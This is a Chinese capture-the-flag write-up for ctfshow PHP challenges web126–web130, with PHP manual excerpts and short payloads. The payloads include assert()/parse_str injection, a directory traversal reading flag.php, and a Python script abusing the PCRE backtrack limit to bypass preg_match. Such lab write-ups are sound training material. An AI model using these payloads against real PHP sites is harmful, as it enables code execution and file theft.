ctfshow web入门 php特性 web126-web130

1.web126

和前面一样的

payload:

复制代码
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或
get: ?$fl0g=flag_give_me
post:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
assert($a[0]) 是把fl0g赋值为flag_give_me $a[0]是当前脚本名

2.web127

发现使用字符(点,+,[)被过滤了,是不行的,但是空格没有被过滤

payload:

复制代码
?ctf show=ilove36d

3.web128

代码执行

call_user_func

复制代码
call_user_func 
(PHP 4, PHP 5, PHP 7)
call_user_func --- 把第一个参数作为回调函数调用
说明 
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

参数 
callback
将被调用的回调函数(callable)。 
parameter
0个或以上的参数,被传入回调函数。 

gettext

复制代码
string gettext( string $message) 返回输入的字符
_()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dll

echo gettext("Welcome to My PHP Application");

get_defined_vars()

复制代码
get_defined_vars --- 返回由所有已定义变量所组成的数组

payload:

复制代码
?f1=_&f2=get_defined_vars

4.web129

stripos

复制代码
stripos 
(PHP 5, PHP 7)
stripos --- 查找字符串首次出现的位置(不区分大小写)
说明 
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出现的数字位置。 
与 strpos() 不同,stripos() 不区分大小写。 


参数 
haystack
在该字符串中查找。 
needle
注意 needle 可以是一个单字符或者多字符的字符串。 
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 
offset
可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 

返回值 
返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 
如果未发现 needle 将返回 FALSE。 

payload:

复制代码
?f=/ctfshow/../../../../var/www/html/flag.php 

5.web130

.+?表示至少有一个字符

1.正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

python脚本

python 复制代码
import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)

2.直接绕过

复制代码
f=ctfshow

php特性

相关推荐
10年前端老司机5 分钟前
前端最强大的excel插件
前端·javascript·vue.js
杰_happy14 分钟前
PHP Swoft2 框架精华系列:Annotation 注解机制详解
php·swoft
三维频道17 分钟前
多相机数字图像相关 DIC 技术:精准测量桁架静载扭转全场变形,赋能建筑结构安全评估
数码相机·安全·多相机数字图像相关 dic·桁架静载扭转测试·全场变形测量·建筑结构安全评估’·非接触式测量技术
kali-Myon18 分钟前
攻防世界[level7]-Web_php_wrong_nginx_config
前端·nginx·安全·php·web·ctf·攻防世界
栗子味清清20 分钟前
API 管理系统实践指南:监控、安全、性能全覆盖
安全·ai·ai作画·架构·api·数据安全
白仑色1 小时前
在 Java 中操作 Map时,高效遍历和安全删除数据
java·开发语言·安全
大鱼七成饱1 小时前
彻底搞懂 react 的 use client
前端·javascript·next.js
百度安全1 小时前
BCS 2025|百度大模型安全解决方案入选中国网络安全优秀案例
安全·web安全·百度
鹿鸣天涯1 小时前
网络安全攻防演习安全保障解决方案
网络·安全·web安全
CUIYD_19891 小时前
Ajax 核心知识点全面总结
前端·ajax·okhttp